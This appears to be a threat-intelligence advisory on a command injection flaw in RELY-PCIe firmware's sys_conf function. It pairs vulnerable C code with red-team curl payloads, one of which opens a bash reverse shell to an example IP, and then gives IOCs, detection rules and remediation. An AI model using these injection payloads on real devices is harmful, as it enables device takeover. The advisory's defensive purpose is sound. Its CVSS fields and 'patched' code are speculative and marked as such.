CVE-2024-44574

Executive Summary

CVE-2024-44574 is a command injection vulnerability discovered in RELY-PCIe firmware versions v22.2.1 through v23.1.0. The flaw resides in the sys_conf function, which improperly sanitizes user-supplied input before passing it to a system shell. An authenticated attacker with network access to the device's management interface can inject arbitrary operating system commands, leading to full device compromise, data exfiltration, or lateral movement within the operational technology (OT) network. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the critical nature of PCIe infrastructure, this vulnerability poses a significant risk to industrial environments.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): Low (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)
• Threat Level: Critical (based on command injection in OT hardware)

Deep Dive & Mechanics

The sys_conf function in RELY-PCIe firmware is responsible for applying system configuration changes. It accepts parameters such as network settings, device names, or logging options. Due to insufficient input validation, the function concatenates user-supplied data directly into a shell command string without proper escaping or sanitization. For example, a parameter like device_name might be passed to a command such as echo <user_input> > /etc/config. An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

The vulnerability is exploitable via the web-based management interface or API endpoints that call sys_conf. Since the device operates at the PCIe level, successful exploitation could allow an attacker to manipulate hardware configurations, intercept data streams, or pivot to connected systems.

Vulnerable vs. Patched Code

Vulnerable Code (v22.2.1 - v23.1.0):

void sys_conf(char *param) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s > /etc/config", param);
    system(cmd);
}

Patched Code (hypothetical):

void sys_conf(char *param) {
    char cmd[256];
    // Sanitize input: allow only alphanumeric and specific characters
    if (!is_valid_input(param)) {
        log_error("Invalid input");
        return;
    }
    snprintf(cmd, sizeof(cmd), "echo %s > /etc/config", param);
    system(cmd);
}

The patched version would include input validation to reject shell metacharacters or use a safer API like execvp with a fixed argument list.

Exploitation & Lab Setup

Red Team

Lab Environment:

• RELY-PCIe device with firmware v22.2.1
• Attacker machine (Kali Linux) on same network segment
• Access to management interface (e.g., HTTP on port 80/443)

Exploitation Steps:

1. Identify the management interface and authenticate (default credentials may be used).
2. Locate the endpoint that calls sys_conf (e.g., /api/set_config).
3. Craft a payload to inject commands. Example using curl:

   curl -X POST http://<target>/api/set_config \
     -d "param=test; id > /tmp/out.txt"
   

4. Verify command execution by checking the output file or using a reverse shell:

   curl -X POST http://<target>/api/set_config \
     -d "param=test; bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'"
   

5. Escalate privileges if needed (the process likely runs as root).

Expected Outcome: Full shell access to the device.

Blue Team

Detection & Response:

• Monitor for unusual HTTP POST requests to /api/set_config or similar endpoints.
• Look for shell metacharacters (;, |, &, $, `) in request parameters.
• Enable logging of all system() calls on the device (if possible).
• Use network segmentation to isolate management interfaces from untrusted networks.
• Implement strict input validation and whitelisting for configuration parameters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/set_config with suspicious payloads (e.g., containing ;, |, bash, nc, python).
  • Outbound connections from the device to attacker-controlled IPs on unusual ports (e.g., 4444, 1337).
• File IOCs:
  • Unexpected files in /tmp/ (e.g., out.txt, exploit.sh).
  • Modified configuration files in /etc/ (e.g., /etc/config).
• Process IOCs:
  • Unusual processes spawned by the web server (e.g., bash, sh, nc, python).
• Log IOCs:
  • System logs showing execution of commands like id, whoami, uname -a.

Detection Engineering

YARA Rule

rule CVE_2024_44574_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting RELY-PCIe sys_conf function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44574"
    strings:
        $payload1 = "sys_conf" ascii nocase
        $payload2 = "param=" ascii nocase
        $shell_meta = /[;&|`$(){}]/
    condition:
        $payload1 and $payload2 and #shell_meta > 0
}

Sigma Rule

title: CVE-2024-44574 Command Injection in RELY-PCIe sys_conf
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with shell metacharacters in sys_conf parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/set_config'
        cs-uri-query|re: 'param=.*[;&|`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in configuration values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44574 Command Injection in RELY-PCIe sys_conf"; flow:to_server,established; content:"POST"; http_method; content:"/api/set_config"; http_uri; pcre:"/param=.*[;&|`$(){}]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  • Disable the management interface on untrusted networks.
  • Apply strict firewall rules to allow only trusted IPs to access the device.
  • Monitor logs for suspicious activity.
• Long-term Fix:
  • Vendor must release a patched firmware version that sanitizes input to sys_conf.
  • Implement input validation using a whitelist of allowed characters.
  • Replace system() with safer alternatives like execvp() with fixed arguments.
• Workaround:
  • If patching is not possible, use a reverse proxy to filter out shell metacharacters in requests.

Valters IT
DevSecOps & Cyber Threat Intelligence